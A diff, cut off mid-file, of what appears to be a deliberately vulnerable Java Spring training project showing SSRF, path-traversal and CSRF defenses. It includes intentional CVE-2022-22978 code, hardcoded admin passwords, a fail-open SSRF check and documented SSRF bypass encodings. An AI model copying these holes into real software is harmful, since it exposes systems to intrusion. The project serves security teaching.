+ } + + // 支持一级域名 + for(String safedomain: safeDomains) { + if(host.endsWith("." + safedomain)) { + return url; + } + } + return null; + } catch (NullPointerException e) { + logger.error(e.toString()); + return null; + } + } + + + /** + * 通过自定义白名单域名处理SSRF漏洞。如果URL范围收敛,强烈建议使用该方案。 + * 这是最简单也最有效的修复方式。因为SSRF都是发起URL请求时造成,大多数场景是图片场景,一般图片的域名都是CDN或者OSS等,所以限定域名白名单即可完成SSRF漏洞修复。 + * + * @author JoyChou @ 2020-03-30 + * @param url 需要校验的url + * @return Safe url returns true. Dangerous url returns false. + */ + public static boolean checkSSRFByWhitehosts(String url) { + return SSRFChecker.checkURLFckSSRF(url); + } + + + /** + * 解析URL的IP,判断IP是否是内网IP。如果有重定向跳转,循环解析重定向跳转的IP。不建议使用该方案。 + * 存在的问题: + * 1、会主动发起请求,可能会有性能问题 + * 2、设置重定向跳转为第一次302不跳转,第二次302跳转到内网IP 即可绕过该防御方案 + * 3、TTL设置为0会被绕过 + * + * @param url check的url + * @return 安全返回true,危险返回false + */ + @Deprecated + public static boolean checkSSRF(String url) { + int checkTimes = 10; + return SSRFChecker.checkSSRF(url, checkTimes); + } + + + /** + * 不能使用白名单的情况下建议使用该方案。前提是禁用重定向并且TTL默认不为0。 + * 存在问题: + * 1、TTL为0会被绕过 + * 2、使用重定向可绕过 + * + * @param url The url that needs to check. + * @return Safe url returns true. Dangerous url returns false. + */ + public static boolean checkSSRFWithoutRedirect(String url) { + if(url == null) { + return false; + } + return !SSRFChecker.isInternalIpByUrl(url); + } + + /** + * Check ssrf by hook socket. Start socket hook. + * + * @author liergou @ 2020-04-04 02:15 + */ + public static void startSSRFHook() throws IOException { + SocketHook.startHook(); + } + + /** + * Close socket hook. + * + * @author liergou @ 2020-04-04 02:15 + **/ + public static void stopSSRFHook(){ + SocketHook.stopHook(); + } + + + + /** + * Filter file path to prevent path traversal vulns. + * + * @param filepath file path + * @return illegal file path return null + */ + public static String pathFilter(String filepath) { + String temp = filepath; + + // use while to sovle multi urlencode + while (temp.indexOf('%') != -1) { + try { + temp = URLDecoder.decode(temp, "utf-8"); + } catch (UnsupportedEncodingException e) { + logger.info("Unsupported encoding exception: " + filepath); + return null; + } catch (Exception e) { + logger.info(e.toString()); + return null; + } + } + + if (temp.contains("..") || temp.charAt(0) == '/') { + return null; + } + + return filepath; + } + + + public static String cmdFilter(String input) { + if (!FILTER_PATTERN.matcher(input).matches()) { + return null; + } + + return input; + } + + + /** + * 过滤mybatis中order by不能用#的情况。 + * 严格限制用户输入只能包含a-zA-Z0-9_-.字符。 + * + * @param sql sql + * @return 安全sql,否则返回null + */ + public static String sqlFilter(String sql) { + if (!FILTER_PATTERN.matcher(sql).matches()) { + return null; + } + return sql; + } + + /** + * 将非0-9a-zA-Z/-.的字符替换为空 + * + * @param str 字符串 + * @return 被过滤的字符串 + */ + public static String replaceSpecialStr(String str) { + StringBuilder sb = new StringBuilder(); + str = str.toLowerCase(); + for(int i = 0; i < str.length(); i++) { + char ch = str.charAt(i); + // 如果是0-9 + if (ch >= 48 && ch <= 57 ){ + sb.append(ch); + } + // 如果是a-z + else if(ch >= 97 && ch <= 122) { + sb.append(ch); + } + else if(ch == '/' || ch == '.' || ch == '-'){ + sb.append(ch); + } + } + + return sb.toString(); + } + + public static void main(String[] args) { + } + +} \ No newline at end of file diff --git a/src/main/java/org/joychou/security/WebSecurityConfig.java b/src/main/java/org/joychou/security/WebSecurityConfig.java new file mode 100644 index 00000000..414fd24d --- /dev/null +++ b/src/main/java/org/joychou/security/WebSecurityConfig.java @@ -0,0 +1,118 @@ +package org.joychou.security; + +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder; +import org.springframework.security.config.annotation.web.builders.HttpSecurity; +import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity; +import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter; +import org.springframework.security.web.csrf.CookieCsrfTokenRepository; +import org.springframework.security.web.util.matcher.RequestMatcher; +import org.springframework.web.cors.CorsConfiguration; +import org.springframework.web.cors.CorsConfigurationSource; +import org.springframework.web.cors.UrlBasedCorsConfigurationSource; + +import javax.servlet.http.HttpServletRequest; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.HashSet; + + +/** + * Congifure csrf + * + */ +@EnableWebSecurity +@Configuration +public class WebSecurityConfig extends WebSecurityConfigurerAdapter { + + @Value("${joychou.security.csrf.enabled}") + private Boolean csrfEnabled = false; + + @Value("${joychou.security.csrf.exclude.url}") + private String[] csrfExcludeUrl; + + + @Value("${joychou.no.need.login.url}") + private String[] noNeedLoginUrl; + + + @Value("${joychou.security.csrf.method}") + private String[] csrfMethod = {"POST"}; + + private RequestMatcher csrfRequestMatcher = new RequestMatcher() { + + @Override + public boolean matches(HttpServletRequest request) { + + // 配置需要CSRF校验的请求方式, + HashSet allowedMethods = new HashSet<>(Arrays.asList(csrfMethod)); + // return false表示不校验csrf + if (!csrfEnabled) { + return false; + } + return allowedMethods.contains(request.getMethod()); + } + + }; + + @Override + protected void configure(HttpSecurity http) throws Exception { + // 默认token存在session里,用CookieCsrfTokenRepository改为token存在cookie里。 + // 但存在后端多台服务器情况,session不能同步的问题,所以一般使用cookie模式。 + http.csrf() + .requireCsrfProtectionMatcher(csrfRequestMatcher) + .ignoringAntMatchers(csrfExcludeUrl) // 不进行csrf校验的uri,多个uri使用逗号分隔 + .csrfTokenRepository(new CookieCsrfTokenRepository()); + http.exceptionHandling().accessDeniedHandler(new CsrfAccessDeniedHandler()); + + // http.csrf().csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse()); + + http.cors(); + + // spring security login settings + http.authorizeRequests() + .antMatchers(noNeedLoginUrl).permitAll() // no need to login page + // CVE-2022-22978漏洞代码 + .regexMatchers("/black_path.*").denyAll() // 如果正则匹配到/black_path,则forbidden + .anyRequest().authenticated().and() // any request authenticated except above static resources + .formLogin().loginPage("/login").permitAll() // permit all to access /login page + .successHandler(new LoginSuccessHandler()) + .failureHandler(new LoginFailureHandler()).and() + .logout().logoutUrl("/logout").permitAll().and() + // tomcat默认JSESSION会话有效时间为30分钟,所以30分钟不操作会话将过期。为了解决这一问题,引入rememberMe功能。 + .rememberMe(); + } + + /** + * Global cors configure + */ + @Bean + CorsConfigurationSource corsConfigurationSource() + { + // Set cors origin white list + ArrayList allowOrigins = new ArrayList<>(); + allowOrigins.add("joychou.org"); + allowOrigins.add("https://test.joychou.me"); // 区分http和https,并且默认不会拦截同域请求。 + + CorsConfiguration configuration = new CorsConfiguration(); + configuration.setAllowedOrigins(allowOrigins); + configuration.setAllowCredentials(true); + configuration.setAllowedMethods(Arrays.asList("GET", "POST")); + UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource(); + source.registerCorsConfiguration("/cors/sec/httpCors", configuration); // ant style + return source; + } + + @Autowired + public void configureGlobal(AuthenticationManagerBuilder auth) throws Exception { + auth + .inMemoryAuthentication() + .withUser("joychou").password("joychou123").roles("USER").and() + .withUser("admin").password("admin123").roles("USER", "ADMIN"); + } +} + + diff --git a/src/main/java/org/joychou/security/ssrf/SSRFChecker.java b/src/main/java/org/joychou/security/ssrf/SSRFChecker.java new file mode 100644 index 00000000..c2b3896a --- /dev/null +++ b/src/main/java/org/joychou/security/ssrf/SSRFChecker.java @@ -0,0 +1,303 @@ +package org.joychou.security.ssrf; + +import java.net.HttpURLConnection; +import java.net.InetAddress; +import java.net.URI; +import java.net.URL; +import java.util.ArrayList; + +import org.apache.commons.lang.StringUtils; +import org.apache.commons.net.util.SubnetUtils; +import org.joychou.config.WebConfig; +import org.joychou.security.SecurityUtil; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + + +public class SSRFChecker { + + private static final Logger logger = LoggerFactory.getLogger(SSRFChecker.class); + private static String decimalIp; + + public static boolean checkURLFckSSRF(String url) { + if (null == url) { + return false; + } + + ArrayList ssrfSafeDomains = WebConfig.getSsrfSafeDomains(); + try { + String host = SecurityUtil.gethost(url); + + // 必须http/https + if (!SecurityUtil.isHttp(url)) { + return false; + } + + if (ssrfSafeDomains.contains(host)) { + return true; + } + for (String ssrfSafeDomain : ssrfSafeDomains) { + if (host.endsWith("." + ssrfSafeDomain)) { + return true; + } + } + } catch (Exception e) { + logger.error(e.toString()); + return false; + } + return false; + } + + /** + * 解析url的ip,判断ip是否是内网ip,所以TTL设置为0的情况不适用。 + * url只允许https或者http,并且设置默认连接超时时间。 + * 该修复方案会主动请求重定向后的链接。 + * + * @param url check的url + * @param checkTimes 设置重定向检测的最大次数,建议设置为10次 + * @return 安全返回true,危险返回false + */ + public static boolean checkSSRF(String url, int checkTimes) { + + HttpURLConnection connection; + int connectTime = 5 * 1000; // 设置连接超时时间5s + int i = 1; + String finalUrl = url; + try { + do { + // 判断当前请求的URL是否是内网ip + if (isInternalIpByUrl(finalUrl)) { + logger.error("[-] SSRF check failed. Dangerous url: " + finalUrl); + return false; // 内网ip直接return,非内网ip继续判断是否有重定向 + } + + connection = (HttpURLConnection) new URL(finalUrl).openConnection(); + connection.setInstanceFollowRedirects(false); + connection.setUseCaches(false); // 设置为false,手动处理跳转,可以拿到每个跳转的URL + connection.setConnectTimeout(connectTime); + //connection.setRequestMethod("GET"); + connection.connect(); // send dns request + int responseCode = connection.getResponseCode(); // 发起网络请求 + if (responseCode >= 300 && responseCode <= 307 && responseCode != 304 && responseCode != 306) { + String redirectedUrl = connection.getHeaderField("Location"); + if (null == redirectedUrl) + break; + finalUrl = redirectedUrl; + i += 1; // 重定向次数加1 + logger.info("redirected url: " + finalUrl); + if (i == checkTimes) { + return false; + } + } else + break; + } while (connection.getResponseCode() != HttpURLConnection.HTTP_OK); + connection.disconnect(); + } catch (Exception e) { + return true; // 如果异常了,认为是安全的,防止是超时导致的异常而验证不成功。 + } + return true; // 默认返回true + } + + + /** + * 判断一个URL的IP是否是内网IP + * + * @return 如果是内网IP,返回true;非内网IP,返回false。 + */ + public static boolean isInternalIpByUrl(String url) { + + String host = url2host(url); + if (host.equals("")) { + return true; // 异常URL当成内网IP等非法URL处理 + } + + String ip = host2ip(host); + if (ip.equals("")) { + return true; // 如果域名转换为IP异常,则认为是非法URL + } + + return isInternalIp(ip); + } + + + /** + * 使用SubnetUtils库判断ip是否在内网网段 + * + * @param strIP ip字符串 + * @return 如果是内网ip,返回true,否则返回false。 + */ + public static boolean isInternalIp(String strIP) { + if (StringUtils.isEmpty(strIP)) { + logger.error("[-] SSRF check failed. IP is empty. " + strIP); + return true; + } + + ArrayList blackSubnets = WebConfig.getSsrfBlockIps(); + for (String subnet : blackSubnets) { + SubnetUtils utils = new SubnetUtils(subnet); + if (utils.getInfo().isInRange(strIP)) { + logger.error("[-] SSRF check failed. Internal IP: " + strIP); + return true; + } + } + + return false; + + } + + + /** + * Convert host to decimal ip. + * Since there is a bypass in octal using {@link InetAddress#getHostAddress()}, + * the function of converting octal to decimal is added. + * If it still can be bypassed, please submit + * PullRequests or + * Issues.
+ * + *

Normal:

+ *
    + *
  • 69299689 to 10.23.78.233
  • + *
  • 012.0x17.78.233 to 10.23.78.233
  • + *
  • 012.027.0116.0351 to 10.23.78.233
  • + *
  • 127.0.0.1.xip.io to 127.0.0.1
  • + *
  • 127.0.0.1.nip.io to 127.0.0.1
  • + *
+ + *

Bypass:

+ *
    + *
  • 01205647351 {@link InetAddress#getHostAddress()} result is 71.220.183.247, actually 10.23.78.233
  • + *
  • 012.23.78.233 {@link InetAddress#getHostAddress()} result is 12.23.78.233, actually 10.23.78.233
  • + *
  • 012.23.233 {@link InetAddress#getHostAddress()} result is 12.23.0.233, actually 10.23.0.233
  • + *
  • 012.233 {@link InetAddress#getHostAddress()} result is 12.0.0.233, actually 10.0.0.233
  • + *
+ * @return decimal ip + */ + public static String host2ip(String host) { + + if (null == host) { + return ""; + } + + // convert octal to decimal + if(isOctalIP(host)) { + host = decimalIp; + } + + try { + // send dns request + InetAddress IpAddress = InetAddress.getByName(host); + return IpAddress.getHostAddress(); + } catch (Exception e) { + logger.error("host2ip exception " + e.getMessage()); + return ""; + } + } + + + /** + * Check whether the host is an octal IP, if so, convert it to decimal. + * @return Octal ip returns true, others return false. 012.23.78.233 return true. 012.0x17.78.233 return false. + */ + public static boolean isOctalIP(String host) { + try{ + String[] ipParts = host.split("\\."); + StringBuilder newDecimalIP = new StringBuilder(); + boolean is_octal = false; + + // Octal ip only has number and dot character. + if (isNumberOrDot(host)) { + + // not support ipv6 + if (ipParts.length > 4) { + logger.error("Illegal ipv4: " + host); + return false; + } + + // 01205647351 + if( ipParts.length == 1 && host.startsWith("0") ) { + decimalIp = Integer.valueOf(host, 8).toString(); + return true; + } + + // 012.23.78.233 + for(String ip : ipParts) { + if (!isNumber(ip)){ + logger.error("Illegal ipv4: " + host); + return false; + } + // start with "0", but not "0" + if (ip.startsWith("0") && !ip.equals("0")) { + if (Integer.valueOf(ip, 8) >= 256){ + logger.error("Illegal ipv4: " + host); + return false; + } + newDecimalIP.append(Integer.valueOf(ip, 8)).append("."); + is_octal = true; + }else{ + if (Integer.valueOf(ip, 10) >= 256) { + logger.error("Illegal ipv4: " + host); + return false; + } + newDecimalIP.append(ip).append("."); + } + } + // delete last char . + decimalIp = newDecimalIP.substring(0, newDecimalIP.lastIndexOf(".")); + } + return is_octal; + } catch (Exception e){ + logger.error("SSRFChecker isOctalIP exception: " + e.getMessage()); + return false; + } + + } + + /** + * Check string is a number. + * @return If string is a number 0-9, return true. Otherwise, return false. + */ + private static boolean isNumber(String str) { + if (null == str || "".equals(str)) { + return false; + } + for (int i = 0; i < str.length(); i++) { + char ch = str.charAt(i); + if (ch < '0' || ch > '9') { + return false; + } + } + return true; + } + + + /** + * Check string is a number or dot. + * @return If string is a number or a dot, return true. Otherwise, return false. + */ + private static boolean isNumberOrDot(String s) { + for (int i = 0; i < s.length(); i++) { + char ch = s.charAt(i); + if ((ch < '0' || ch > '9') && ch != '.'){ + return false; + } + } + return true; + } + + /** + * Get host from URL which the protocol must be http:// or https:// and not be //. + */ + private static String url2host(String url) { + try { + // use URI instead of URL + URI u = new URI(url); + if (SecurityUtil.isHttp(url)) { + return u.getHost(); + } + return ""; + } catch (Exception e) { + return ""; + } + } + +} diff --git a/src/main/java/org/joychou/security/ssrf/SSRFException.java b/src/main/java/org/joychou/security/ssrf/SSRFException.java new file mode 100644 index 00000000..817c881e --- /dev/null +++ b/src/main/java/org/joychou/security/ssrf/SSRFException.java @@ -0,0 +1,15 @@ +package org.joychou.security.ssrf; + + +/** + * SSRFException + * + * @author JoyChou @2020-04-04 + */ +public class SSRFException extends RuntimeException { + + SSRFException(String s) { + super(s); + } + +} diff --git a/src/main/java/org/joychou/security/ssrf/SocketHook.java b/src/main/java/org/joychou/security/ssrf/SocketHook.java new file mode 100644 index 00000000..4ce3509c --- /dev/null +++ b/src/main/java/org/joychou/security/ssrf/SocketHook.java @@ -0,0 +1,27 @@ +package org.joychou.security.ssrf; + +import java.io.IOException; +import java.net.Socket; +import java.net.SocketException; + + +/** + * Socket Hook switch + * + * @author liergou @ 2020-04-04 02:12 + */ +public class SocketHook { + + public static void startHook() throws IOException { + SocketHookFactory.initSocket(); + SocketHookFactory.setHook(true); + try{ + Socket.setSocketImplFactory(new SocketHookFactory()); + }catch (SocketException ignored){ + } + } + + public static void stopHook(){ + SocketHookFactory.setHook(false); + } +} \ No newline at end of file diff --git a/src/main/java/org/joychou/security/ssrf/SocketHookFactory.java b/src/main/java/org/joychou/security/ssrf/SocketHookFactory.java new file mode 100644 index 00000000..dc6d951d --- /dev/null +++ b/src/main/java/org/joychou/security/ssrf/SocketHookFactory.java @@ -0,0 +1,88 @@ +package org.joychou.security.ssrf; + + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import java.io.IOException; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.net.Socket; +import java.net.SocketImpl; +import java.net.SocketImplFactory; + + +/** + * socket factory impl + * + * @author liergou @ 2020-04-03 23:41 + */ +public class SocketHookFactory implements SocketImplFactory { + + + private static Boolean isHook = false; + private static Constructor socketConstructor = null; + private final Logger logger = LoggerFactory.getLogger(this.getClass()); + + /** + * @param set hook switch + */ + static void setHook(Boolean set) { + isHook = set; + } + + + static void initSocket() { + + if (socketConstructor != null) { + return; + } + + Socket socket = new Socket(); + try { + // get impl field in Socket class + Field implField = Socket.class.getDeclaredField("impl"); + implField.setAccessible(true); + Class clazz = implField.get(socket).getClass(); + + SocketHookImpl.initSocketImpl(clazz); + socketConstructor = clazz.getDeclaredConstructor(); + socketConstructor.setAccessible(true); + + } catch (NoSuchFieldException | IllegalAccessException | NoSuchMethodException e) { + throw new SSRFException("SocketHookFactory init failed!"); + } + + try { + socket.close(); + } catch (IOException ignored) { + + } + } + + + public SocketImpl createSocketImpl() { + + if (isHook) { + try { + return new SocketHookImpl(socketConstructor); + } catch (Exception e) { + logger.error("Socket hook failed!"); + try { + return (SocketImpl) socketConstructor.newInstance(); + } catch (InstantiationException | IllegalAccessException | InvocationTargetException ex) { + logger.error(ex.toString()); + } + } + } else { + try { + return (SocketImpl) socketConstructor.newInstance(); + } catch (InstantiationException | IllegalAccessException | InvocationTargetException e) { + logger.error(e.toString()); + } + } + + return null; + } +} diff --git a/src/main/java/org/joychou/security/ssrf/SocketHookImpl.java b/src/main/java/org/joychou/security/ssrf/SocketHookImpl.java new file mode 100644 index 00000000..799ca0e5 --- /dev/null +++ b/src/main/java/org/joychou/security/ssrf/SocketHookImpl.java @@ -0,0 +1,269 @@ +package org.joychou.security.ssrf; + + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import java.io.InputStream; +import java.io.OutputStream; +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.net.*; + + +/** + * Socket impl + * + * @author liergou @ 2020-04-02 23:39 + */ +public class SocketHookImpl extends SocketImpl implements SocketOptions { + + private static Boolean isInit = false; + + private static SocketImpl socketImpl = null; + private static Method createImpl; + private static Method connectHostImpl; + private static Method connectInetAddressImpl; + private static Method connectSocketAddressImpl; + private static Method bindImpl; + private static Method listenImpl; + private static Method acceptImpl; + private static Method getInputStreamImpl; + private static Method getOutputStreamImpl; + private static Method availableImpl; + private static Method closeImpl; + private static Method shutdownInputImpl; + private static Method shutdownOutputImpl; + private static Method sendUrgentDataImpl; + + private final Logger logger = LoggerFactory.getLogger(this.getClass()); + + + SocketHookImpl(Constructor socketConstructor) throws IllegalAccessException, + InvocationTargetException, InstantiationException { + socketImpl = (SocketImpl) socketConstructor.newInstance(); + } + + + /** + * Init reflect method. + * + * @author liergou + */ + static void initSocketImpl(Class initSocketImpl) { + + if (initSocketImpl == null) { + SocketHookFactory.setHook(false); + throw new RuntimeException("InitSocketImpl failed! Hook stopped!"); + } + + if (!isInit) { + createImpl = SocketHookUtils.findMethod(initSocketImpl, "create", new Class[]{boolean.class}); + connectHostImpl = SocketHookUtils.findMethod(initSocketImpl, "connect", new Class[]{String.class, int.class}); + connectInetAddressImpl = SocketHookUtils.findMethod(initSocketImpl, "connect", new Class[]{InetAddress.class, int.class}); + connectSocketAddressImpl = SocketHookUtils.findMethod(initSocketImpl, "connect", new Class[]{SocketAddress.class, int.class}); + bindImpl = SocketHookUtils.findMethod(initSocketImpl, "bind", new Class[]{InetAddress.class, int.class}); + listenImpl = SocketHookUtils.findMethod(initSocketImpl, "listen", new Class[]{int.class}); + acceptImpl = SocketHookUtils.findMethod(initSocketImpl, "accept", new Class[]{SocketImpl.class}); + getInputStreamImpl = SocketHookUtils.findMethod(initSocketImpl, "getInputStream", new Class[]{}); + getOutputStreamImpl = SocketHookUtils.findMethod(initSocketImpl, "getOutputStream", new Class[]{}); + availableImpl = SocketHookUtils.findMethod(initSocketImpl, "available", new Class[]{}); + closeImpl = SocketHookUtils.findMethod(initSocketImpl, "close", new Class[]{}); + shutdownInputImpl = SocketHookUtils.findMethod(initSocketImpl, "shutdownInput", new Class[]{}); + shutdownOutputImpl = SocketHookUtils.findMethod(initSocketImpl, "shutdownOutput", new Class[]{}); + sendUrgentDataImpl = SocketHookUtils.findMethod(initSocketImpl, "sendUrgantData", new Class[]{int.class}); + isInit = true; + } + } + + + /** + * socket base method impl + */ + @Override + protected void create(boolean stream) { + try { + createImpl.invoke(socketImpl, stream); + } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) { + logger.error(ex.toString()); + } + + } + + + @Override + protected void connect(String host, int port) { + logger.info("host: " + host + "\tport: " + port); + try { + connectHostImpl.invoke(socketImpl, host, port); + } catch (IllegalAccessException | InvocationTargetException | IllegalArgumentException ex) { + logger.error(ex.toString()); + } + + } + + + @Override + protected void connect(InetAddress address, int port) { + + logger.info("InetAddress: " + address.toString()); + + try { + if (SSRFChecker.isInternalIp(address.getHostAddress())) { + throw new RuntimeException("Socket SSRF check failed. InetAddress:" + address.toString()); + } + connectInetAddressImpl.invoke(socketImpl, address, port); + } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) { + logger.error(ex.toString()); + } + } + + @Override + protected void connect(SocketAddress address, int timeout) { + + // convert SocketAddress to InetSocketAddress + InetSocketAddress addr = (InetSocketAddress) address; + + String ip = addr.getAddress().getHostAddress(); + String host = addr.getHostName(); + logger.info(String.format("[+] SocketAddress address's Hostname: %s IP: %s", host, ip)); + + try { + if (SSRFChecker.isInternalIp(ip)) { + throw new SSRFException(String.format("[-] SSRF check failed. Hostname: %s IP: %s", host, ip)); + } + connectSocketAddressImpl.invoke(socketImpl, address, timeout); + } catch (IllegalAccessException | IllegalArgumentException | + InvocationTargetException ex) { + logger.error(ex.toString()); + } + + } + + @Override + protected void bind(InetAddress host, int port) { + try { + bindImpl.invoke(socketImpl, host, port); + } catch (IllegalAccessException | InvocationTargetException | IllegalArgumentException ex) { + logger.error(ex.toString()); + } + } + + @Override + protected void listen(int backlog) { + + try { + listenImpl.invoke(socketImpl, backlog); + } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) { + logger.error(ex.toString()); + } + } + + @Override + protected void accept(SocketImpl s) { + + try { + acceptImpl.invoke(socketImpl, s); + } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) { + logger.error(ex.toString()); + } + } + + @Override + protected InputStream getInputStream() { + InputStream inStream = null; + + try { + inStream = (InputStream) getInputStreamImpl.invoke(socketImpl); + } catch (ClassCastException | InvocationTargetException | + IllegalArgumentException | IllegalAccessException ex) { + logger.error(ex.toString()); + } + + return inStream; + } + + @Override + protected OutputStream getOutputStream() { + OutputStream outStream = null; + + try { + outStream = (OutputStream) getOutputStreamImpl.invoke(socketImpl); + } catch (ClassCastException | IllegalArgumentException | + IllegalAccessException | InvocationTargetException ex) { + logger.error(ex.toString()); + } + + return outStream; + } + + @Override + protected int available() { + + int result = -1; + + try { + result = (Integer) availableImpl.invoke(socketImpl); + } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) { + logger.error(ex.toString()); + } + + return result; + } + + @Override + protected void close() { + try { + closeImpl.invoke(socketImpl); + } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) { + logger.error(ex.toString()); + } + } + + @Override + protected void shutdownInput() { + try { + shutdownInputImpl.invoke(socketImpl); + } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) { + logger.error(ex.toString()); + } + + } + + @Override + protected void shutdownOutput() { + try { + shutdownOutputImpl.invoke(socketImpl); + } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) { + logger.error(ex.toString()); + } + + } + + @Override + protected void sendUrgentData(int data) { + try { + sendUrgentDataImpl.invoke(socketImpl, data); + } catch (IllegalAccessException | InvocationTargetException | IllegalArgumentException ex) { + logger.error(ex.toString()); + } + } + + public void setOption(int optID, Object value) throws SocketException { + if (null != socketImpl) { + socketImpl.setOption(optID, value); + } + } + + public Object getOption(int optID) throws SocketException { + return socketImpl.getOption(optID); + } + + /* + * Dont impl other child method now. Don't be sure where will use it. + * + */ + + +} diff --git a/src/main/java/org/joychou/security/ssrf/SocketHookUtils.java b/src/main/java/org/joychou/security/ssrf/SocketHookUtils.java new file mode 100644 index 00000000..00f6c275 --- /dev/null +++ b/src/main/java/org/joychou/security/ssrf/SocketHookUtils.java @@ -0,0 +1,27 @@ +package org.joychou.security.ssrf; + +import java.lang.reflect.Method; + +class SocketHookUtils { + + /** + * Poll the parent class to find the reflection method. + * SocksSocketImpl -> PlainSocketImpl -> AbstractPlainSocketImpl + * + * @author liergou @2020-04-04 01:43 + */ + static Method findMethod(Class clazz, String findName, Class[] args) { + + while (clazz != null) { + try { + Method method = clazz.getDeclaredMethod(findName, args); + method.setAccessible(true); + return method; + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + return null; + } + +} \ No newline at end of file diff --git a/src/main/java/org/joychou/service/HttpService.java b/src/main/java/org/joychou/service/HttpService.java new file mode 100644 index 00000000..198a5311 --- /dev/null +++ b/src/main/java/org/joychou/service/HttpService.java @@ -0,0 +1,11 @@ +package org.joychou.service; + + +import org.springframework.http.HttpHeaders; + +public interface HttpService { + + String RequestHttp(String url, HttpHeaders headers); + + String RequestHttpBanRedirects(String url, HttpHeaders headers); +} diff --git a/src/main/java/org/joychou/util/CookieUtils.java b/src/main/java/org/joychou/util/CookieUtils.java new file mode 100644 index 00000000..f63b6e42 --- /dev/null +++ b/src/main/java/org/joychou/util/CookieUtils.java @@ -0,0 +1,37 @@ +package org.joychou.util; + +import lombok.extern.slf4j.Slf4j; + +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServletResponse; + + +@Slf4j +public class CookieUtils { + + public static boolean deleteCookie(HttpServletResponse res, String cookieName) { + try { + Cookie cookie = new Cookie(cookieName, null); + cookie.setMaxAge(0); + cookie.setPath("/"); + res.addCookie(cookie); + return true; + } catch (Exception e) { + log.error(e.toString()); + return false; + } + } + + public static boolean addCookie(HttpServletResponse res, String cookieName, String cookieValue) { + try { + Cookie cookie = new Cookie(cookieName, cookieValue); + cookie.setMaxAge(1000); + cookie.setPath("/"); + res.addCookie(cookie); + return true; + } catch (Exception e) { + log.error(e.toString()); + return false; + } + } +} diff --git a/src/main/java/org/joychou/util/HttpUtils.java b/src/main/java/org/joychou/util/HttpUtils.java new file mode 100644 index 00000000..c1eac95c --- /dev/null +++ b/src/main/java/org/joychou/util/HttpUtils.java @@ -0,0 +1,223 @@ +package org.joychou.util; + +import com.squareup.okhttp.OkHttpClient; +import org.apache.commons.httpclient.HttpClient; +import org.apache.commons.httpclient.methods.GetMethod; +import org.apache.commons.io.IOUtils; +import org.apache.http.HttpResponse; +import org.apache.http.client.fluent.Request; +import org.apache.http.client.methods.HttpGet; +import org.apache.http.impl.client.CloseableHttpClient; +import org.apache.http.impl.client.HttpClients; +import org.apache.http.impl.nio.client.CloseableHttpAsyncClient; +import org.apache.http.impl.nio.client.HttpAsyncClients; +import org.apache.http.util.EntityUtils; +import org.jsoup.Jsoup; +import org.jsoup.nodes.Document; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import javax.imageio.ImageIO; +import java.io.BufferedReader; +import java.io.IOException; +import java.io.InputStream; +import java.io.InputStreamReader; +import java.net.HttpURLConnection; +import java.net.URI; +import java.net.URL; +import java.net.URLConnection; +import java.util.concurrent.*; + +/** + * @author JoyChou 2020-04-06 + */ +public class HttpUtils { + + private final static Logger logger = LoggerFactory.getLogger(HttpUtils.class); + + public static String commonHttpClient(String url) { + + HttpClient client = new HttpClient(); + GetMethod method = new GetMethod(url); + + try { + client.executeMethod(method); // send request + byte[] resBody = method.getResponseBody(); + return new String(resBody); + + } catch (IOException e) { + return "Error: " + e.getMessage(); + } finally { + // Release the connection. + method.releaseConnection(); + } + } + + + public static String request(String url) { + try { + return Request.Get(url).execute().returnContent().toString(); + } catch (Exception e) { + return e.getMessage(); + } + } + + + public static String httpClient(String url) { + + StringBuilder result = new StringBuilder(); + + try { + + CloseableHttpClient client = HttpClients.createDefault(); + HttpGet httpGet = new HttpGet(url); + // set redirect enable false + // httpGet.setConfig(RequestConfig.custom().setRedirectsEnabled(false).build()); + HttpResponse httpResponse = client.execute(httpGet); // send request + BufferedReader rd = new BufferedReader(new InputStreamReader(httpResponse.getEntity().getContent())); + + String line; + while ((line = rd.readLine()) != null) { + result.append(line); + } + + return result.toString(); + + } catch (Exception e) { + return e.getMessage(); + } + } + + + public static String URLConnection(String url) { + try { + URL u = new URL(url); + URLConnection urlConnection = u.openConnection(); + BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream())); //send request + String inputLine; + StringBuilder html = new StringBuilder(); + + while ((inputLine = in.readLine()) != null) { + html.append(inputLine); + } + in.close(); + return html.toString(); + } catch (Exception e) { + logger.error(e.getMessage()); + return e.getMessage(); + } + } + + + /** + * The default setting of followRedirects is true. + * UserAgent is Java/1.8.0_102. + */ + public static String HttpURLConnection(String url) { + try { + URL u = new URL(url); + URLConnection urlConnection = u.openConnection(); + HttpURLConnection conn = (HttpURLConnection) urlConnection; +// conn.setInstanceFollowRedirects(false); +// Many HttpURLConnection methods can send http request, such as getResponseCode, getHeaderField + InputStream is = conn.getInputStream(); // send request + BufferedReader in = new BufferedReader(new InputStreamReader(is)); + String inputLine; + StringBuilder html = new StringBuilder(); + + while ((inputLine = in.readLine()) != null) { + html.append(inputLine); + } + in.close(); + return html.toString(); + } catch (IOException e) { + logger.error(e.getMessage()); + return e.getMessage(); + } + } + + + /** + * Jsoup is a HTML parser about Java. + * + * @param url http request url + */ + public 